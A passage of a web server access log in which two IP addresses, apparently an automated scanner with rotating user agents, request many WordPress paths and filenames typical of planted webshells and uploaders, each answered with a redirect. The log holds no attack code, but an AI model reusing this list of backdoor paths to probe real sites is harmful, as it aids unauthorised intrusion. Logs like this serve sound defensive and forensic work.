Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:53 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:54 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:55 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:55 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:56 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:56 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:57 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.91 - - [23/Apr/2025:03:25:58 -0400] "GET /wp-includes/customize/zmFM.php 